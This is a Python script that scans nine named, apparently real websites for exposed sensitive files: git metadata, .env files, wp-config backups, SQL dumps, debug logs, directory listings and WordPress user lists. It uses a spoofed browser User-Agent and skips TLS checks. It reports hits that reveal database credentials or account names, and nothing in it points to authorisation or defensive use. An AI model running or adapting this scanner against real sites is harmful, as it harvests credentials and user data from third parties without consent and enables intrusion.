import asyncio
import aiohttp

SITES = ["https://azleabsolutely.com", "https://llc.net", "https://smileshoponline.com",
         "http://talkandhra.com", "https://abdatapartnerships.ca", "https://bradyds.com/wp",
         "https://rogueklamathtransfer.com", "https://nreach.com", "https://dockon.com"]
PATHS = ["/.git/HEAD", "/.git/config", "/.svn/entries", "/.env", "/.env.bak",
         "/wp-config.php.bak", "/wp-config.php~", "/wp-config.php.save", "/wp-config.txt",
         "/wp-config.php.old", "/debug.log", "/wp-content/debug.log",
         "/wp-content/uploads/", "/wp-content/backup-db/", "/wp-content/ai1wm-backups/",
         "/wp-content/updraft/", "/backup.zip", "/backup.sql", "/db.sql", "/database.sql",
         "/phpinfo.php", "/info.php", "/test.php", "/wp-json/wp/v2/users",
         "/?rest_route=/wp/v2/users", "/wp-content/plugins/", "/wp-content/themes/"]
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
GOOD = {200, 301, 302, 403}


async def head(sess, url):
    try:
        async with sess.get(url, ssl=False, allow_redirects=False) as r:
            raw = await r.content.read(3000)
        return r.status, raw.decode("utf-8", "replace")
    except Exception:
        return 0, ""


async def main():
    tout = aiohttp.ClientTimeout(total=15, connect=6, sock_read=10)
    async with aiohttp.ClientSession(timeout=tout, headers=UA) as s:
        for base in SITES:
            print(f"=== {base}", flush=True)
            hits = []
            for p in PATHS:
                st, body = await head(s, base + p)
                if st == 0:
                    continue
                interesting = False
                note = ""
                if p == "/.git/HEAD" and st == 200 and body.startswith("ref:"):
                    interesting, note = True, body.strip()[:40]
                elif st == 200 and p in ("/debug.log", "/wp-content/debug.log"):
                    interesting, note = True, f"{len(body)}b"
                elif st == 200 and p in ("/wp-config.php.bak", "/wp-config.php~", "/wp-config.php.save",
                                          "/wp-config.txt", "/wp-config.php.old") and "DB_NAME" in body:
                    interesting, note = True, "DB_NAME found"
                elif st == 200 and p == "/.env" and ("DB_" in body or "APP_" in body):
                    interesting, note = True, "env vars"
                elif st == 200 and p in ("/backup.sql", "/db.sql", "/database.sql") and len(body) > 500:
                    interesting, note = True, f"{len(body)}b"
                elif st == 200 and p.endswith("/") and "Index of" in body:
                    interesting, note = True, "directory listing"
                elif p in ("/wp-json/wp/v2/users", "/?rest_route=/wp/v2/users") and st == 200 and body.strip().startswith("["):
                    interesting, note = True, body[:200]
                if interesting:
                    hits.append(f"   {p} [{st}] {note}")
            print("\n".join(hits) if hits else "   nothing", flush=True)
            print(f"   checked {len(PATHS)} paths", flush=True)

asyncio.run(main())
